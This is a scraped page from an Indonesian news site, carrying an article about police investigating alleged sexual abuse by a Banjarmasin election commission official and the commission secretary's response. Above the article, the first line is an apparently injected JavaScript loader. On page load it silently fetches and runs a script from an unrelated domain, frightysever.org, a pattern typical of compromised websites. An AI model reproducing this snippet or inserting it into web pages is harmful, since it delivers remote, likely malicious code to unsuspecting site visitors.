(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kasus dugaan pencabulan yang dilakukan oknum KPU Banjarmasin saat ini masih diusut polisi. Dari laporan yang diterima Kanalkalimantan.com, peristiwa tersebut terjadi 25 Desember lalu, sekitar pukul 12.00 Wita di dalam lobi toilet Hotel Grand Dafam, Q Mall Banjarbaru. Lalu, bagaimana terlapor yang berdinas di Banjarmasin bisa bertemu korban di lokasi?
Sekretariat KPU Banjarmasin Husni Thamrin menegaskan bahwa KPU tidak ada agenda acara pada tanggal tersebut di Hotel Grand Dafam. Jika kemudian terlapor hadir di tempat itu, maka yang jelas bukan kegiatan yang dilakukan KPU Banjarmasin. “Kami tidak tahu. Yang pasti bukan acara KPU,” kata Husni Thamrin saat ditemui di Sekretariat KPU Kota Banjarmasin, Rabu (8/1) pagi.
Husni menyebut, tidak ada kegiatan yang berkaitan dengan kepemiluan yang dilaksanakan pada 25 Desember 2019. Di mana, pada tanggal itulah terjadi dugaan pelecehan seksual yang dilakukan oknum pejabat tersebut. “Kan kalau tidak salah disebutkan tanggal 25 (Desember) ya. Acara KPU tidak ada (di tanggal itu),” ujar Husni.
Husni menyebut, kegiatan acara yang berkaitan dengan kepemiluan terakhir digelar tanggal 23 Desember 2019 lalu. Saat itu, diduga oknum pejabat penyelenggara pemilu itu menghadiri peluncuran Pemilihan Walikota dan Wakil Walikota Banjarbaru. “Tanggal 23 (Desember 2019), Senin malam itu yang berangkat sama-sama dengan kami dan komisioner yang lain. Setelah itu tidak ada acara, di luar daerah,” sebut Husni.
Namun dari hasil penelusuran, kehadiran pejabat KPU Banjarmasin di Hotel Grand Dafam guna menghadiri acara Rakerda MUI se Kalimantan. Kegitan tersebut selain diikuti pengurus MUI se Kalimatan, juga dihadiri sejumlah kepala daerah, pejabat dari berbagai instansi, dan tokoh masyarakat.
Sehingga kehadiran terlapor di kegiatan tersebut, bisa jadi karena mendapat undangan secara pribadi atau pun mewakili instansinya. Namun sejauh ini, kanalkalimantan.com masih belum berhasil mendapatkan konfirmasi dari pejabat yang dilaporkan terkait kasus ini.
Sebelumnya, Sekretaris KPU Husni Thamrin mengaku, dirinya malah mengetahui kabar itu dari rekan-rekan awak media. “Kan yang lebih tahu ya kawan-kawan (wartawan) yang luas jaringannya,” katanya sembari tertawa.
Kendati begitu, Husni mengatakan, Sekretariat KPU Kota Banjarmasin memutuskan untuk menunggu perkembangan kasus yang diduga menyeret seorang pejabat penyelenggara pemilu di Kota Seribu Sungai ini. “(Kami) menunggu keterangan dari pihak berwenang, apa yang sebenarnya terjadi,” tambah Husni.
Sekretariat KPU Kota Banjarmasin tidak ingin mendahului pihak berwajib yang kini tengah melakukan penyelidikan. “Kita hargai dulu prosesnya. Infonya yang kami baca sudah berproses kan. Kita tunggu saja dulu,” tandasnya. (Fikri)
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
This website uses cookies.